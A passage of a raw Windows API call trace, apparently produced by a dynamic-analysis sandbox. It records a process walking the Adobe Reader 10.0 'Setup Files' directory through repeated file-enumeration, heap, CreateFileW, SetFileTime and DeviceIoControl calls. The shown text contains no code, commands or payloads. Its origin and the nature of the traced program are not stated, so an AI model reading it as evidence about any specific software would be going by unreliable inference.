GetLastError () returned 0x12 [0084.819] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12cedd8) returned 1 [0084.819] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0084.819] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12d6ba8) returned 1 [0084.819] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12cecd0) returned 1 [0084.819] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834dd660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unicode", cAlternateFileName="")) returned 0 [0084.819] GetLastError () returned 0x12 [0084.820] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d0c8) returned 1 [0084.820] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0084.820] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0084.820] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0084.820] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TypeSupport", cAlternateFileName="")) returned 0 [0084.820] GetLastError () returned 0x12 [0084.820] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b5b0) returned 1 [0084.820] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0084.821] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.821] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0084.821] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf66ca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf66ca0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup Files", cAlternateFileName="")) returned 1 [0084.821] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf66ca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf66ca0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.821] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0084.822] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0084.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0084.822] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0084.823] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0084.823] NtClose (Handle=0x180) returned 0x0 [0084.823] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe458) returned 1 [0084.823] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe458 [0084.823] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.823] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b5b0 [0084.823] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e91c0 [0084.823] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf66ca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf66ca0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.823] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", cAlternateFileName="")) returned 1 [0084.823] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", cAlternateFileName="")) returned 0 [0084.824] GetLastError () returned 0x12 [0084.824] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0084.824] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0084.824] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf66ca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf66ca0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.824] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", cAlternateFileName="")) returned 1 [0084.824] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0084.824] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.824] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12cecd0 [0084.824] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0084.825] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0084.825] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0084.825] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0084.825] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0084.825] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0084.826] NtClose (Handle=0x180) returned 0x0 [0084.826] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12cecd0) returned 1 [0084.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0084.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12cecd0 [0084.827] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.827] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d6ba8 [0084.827] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0084.869] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.869] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7cfd90c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="1027.mst", cAlternateFileName="")) returned 1 [0084.869] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.871] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.871] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.871] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12cedd8 [0084.872] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0084.872] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11efd28 [0084.872] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d6db8 [0084.872] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.872] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0x0, dwReserved1=0x0, cFileName="1028.mst", cAlternateFileName="")) returned 1 [0084.872] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.873] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.873] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.873] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.873] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.873] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11efd48 [0084.874] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d6cb0 [0084.874] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.874] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="1029.mst", cAlternateFileName="")) returned 1 [0084.874] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.874] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.874] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.875] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.875] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.875] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11efd68 [0084.875] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12d6ec0 [0084.876] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.876] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d55a3a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x0, dwReserved1=0x0, cFileName="1030.mst", cAlternateFileName="")) returned 1 [0084.876] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.876] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.876] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.877] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11efd88 [0084.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e0c88 [0084.877] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.877] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d55a3a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="1031.mst", cAlternateFileName="")) returned 1 [0084.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.878] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.878] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.878] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.879] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11efda8 [0084.879] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e0e98 [0084.879] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.879] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d55a3a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033.mst", cAlternateFileName="")) returned 1 [0084.879] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.880] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.880] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.880] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.880] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.880] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11efdc8 [0084.880] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e0d90 [0084.881] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.881] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d55a3a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0xc400, dwReserved0=0x0, dwReserved1=0x0, cFileName="1034.mst", cAlternateFileName="")) returned 1 [0084.881] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.881] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.881] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.882] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.882] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.882] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11efde8 [0084.882] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e37d8 [0084.883] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.883] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d534240, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x0, dwReserved1=0x0, cFileName="1035.mst", cAlternateFileName="")) returned 1 [0084.883] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.883] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.883] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.883] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.883] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.884] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11efe08 [0084.884] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e38e0 [0084.923] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.923] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d534240, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036.mst", cAlternateFileName="")) returned 1 [0084.923] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.923] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.924] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.924] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.924] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.924] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11efe28 [0084.924] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e39e8 [0084.925] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.925] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d534240, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="1038.mst", cAlternateFileName="")) returned 1 [0084.925] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.925] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.925] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.926] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.926] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.926] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11efe48 [0084.926] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12e3af0 [0084.926] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.927] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xc438b000, ftCreationTime.dwHighDateTime=0x1d0cebb, ftLastAccessTime.dwLowDateTime=0x7d534240, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xc438b000, ftLastWriteTime.dwHighDateTime=0x1d0cebb, nFileSizeHigh=0x0, nFileSizeLow=0xcc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="1040.mst", cAlternateFileName="")) returned 1 [0084.927] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.927] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.927] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.927] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b528) returned 1 [0084.927] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b528 [0084.928] RtlAllocateHeap (HeapHandle=0x940000, 